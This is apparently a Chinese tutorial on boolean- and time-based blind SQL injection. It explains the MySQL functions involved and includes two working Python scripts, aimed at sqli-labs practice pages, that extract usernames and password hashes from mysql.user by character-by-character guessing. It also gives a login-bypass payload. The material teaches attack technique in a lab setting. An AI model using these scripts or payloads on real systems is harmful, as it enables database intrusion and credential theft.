一.盲注
首先了解什么是布尔?什么是盲注?什么是布尔盲注?
布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。盲注在注入时页面无具体数据返回的注入称之为盲注,一般是通过其他表现形式来判断数据的具体内容。
盲注是不能通过直接显示的途径来获取数据库数据的方法。
在盲注中,攻击者根据其返回页面的不同来判断信息,一般分为基于报错的盲注,布尔盲注和时间盲注。
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true
、 false
使web页面返回true或者false,从而达到注入的目的来获取信息。
对于基于布尔的盲注来说,我们可以构造一条注入语句来测试我们输入的布尔表达式,而这布尔表达式结果的真假,决定了每次页面有不同的反应。
时间盲注指通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点
对于基于时间的盲注来说,我们构造的语句中,包含了能否影响系统运行时间的函数,根据每次页面返回的时间,判断注入的语句是否被成功执行。
二.常用函数
sleep()函数,也称睡眠函数。
sleep(n)会延时显示结果,且延时的时间为 n×查询到的记录数
例: select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒)
注:and前为真的时候才会延时,延时时间除以3,算出满足前面条件的记录条数
sleep(n)——返回0、中断返回1
截取字符串
substr('str',1,1)从第一个开始取取一个——substr(字符串,开始位置,取几个)
不写第三个参数,默认取到最后一个字符
select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程
猜解数据库名的过程中,我们需要知道数据库名的长度
第三个函数获取长度
length()——返回长度
select length(database())
获取ascii码
select ascii('str') ——返回第一个字符的ascii码
为啥要用ASCII码呢,select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗,但是在时间盲注猜解时,如果一个一个试非常的麻烦而且工作量巨大,这个时候就应该写一个脚本,自动的来猜测,脚本如果直接用字母符号计算的时候会比较慢,所以使用ASCII码会提高效率
select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位
很多函数都有变种,用法与效果类似,名字不同,在某些时候,一些函数被禁止调用,可以寻找其变种来使用,如:substr与mid,left()从左往右截,ascii与ord
以上函数部分参考了这篇博客 :
原文链接:https://blog.youkuaiyun.com/qq_40345591/article/details/127179989
三.常用语句
(1)布尔盲注
布尔盲注使用时分为两个步骤:
- 使用 length()函数 判断查询结果的长度
- 使用 substr()函数 截取每一个字符,并穷举出字符内容
首先,利用MySQL的 length()函数 判断返回结果的长度是多少。
比如,我们判断 database()当前数据库 的长度,在地址栏输入:
?id=1' and length( database() )=1 -- a
然后,使用MySQL的 substr()函数 截取查询结果的第一个字符,使用 ascii()函数 将截取的字符转换成 ASCLL编码,依次判断是否等于32,33,34……126。
页面异常(空)显示,表示猜解失误;
页面正常显示,表示猜解正确;
具体详细用法和步骤可以参考这篇:
布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程-优快云博客
四、盲注脚本
以下脚本是参考大佬的,链接附下
get请求盲注脚本:
import requests
# 只需要修改url 和 两个payload即可
# 目标网址(不带参数)
url = "http://3534c6c2bffd4225bf3409ae9a2ec278.app.mituan.zone/Less-5/"
# 猜解长度使用的payload
payload_len = """?id=1' and length(
(select group_concat(user,password)
from mysql.user)
) < {n} -- a"""
# 枚举字符使用的payload
payload_str = """?id=1' and ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{n},1)
) = {r} -- a"""
# 获取长度
def getLength(url, payload):
length = 1 # 初始测试长度为1
while True:
response = requests.get(url= url+payload_len.format(n= length))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
print('测试长度完成,长度为:', length,)
return length;
else:
print('正在测试长度:',length)
length += 1 # 测试长度递增
# 获取字符
def getStr(url, payload, length):
str = '' # 初始表名/库名为空
# 第一层循环,截取每一个字符
for l in range(1, length+1):
# 第二层循环,枚举截取字符的每一种可能性
for n in range(33, 126):
response = requests.get(url= url+payload_str.format(n= l, r= n))
# 页面中出现此内容则表示成功
if 'You are in...........' in response.text:
str+= chr(n)
print('第', l, '个字符猜解成功:', str)
break;
return str;
# 开始猜解
length = getLength(url, payload_len)
getStr(url, payload_str, length)
post请求盲注脚本:
import requests
# 网站路径
url = "http://7eb82265178a435aa86d6728e7b1e08a.app.mituan.zone/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(select group_concat(user,password)
from mysql.user)
)>{n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(select group_concat(user,password)
from mysql.user)
,{l},1)
)={n} -- a"""
# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}
# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('正在测试长度:', length)
length += 1
else:
print('测试成功,长度为:', length)
return length;
# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break
length = getLen(payload_len)
getStr(length)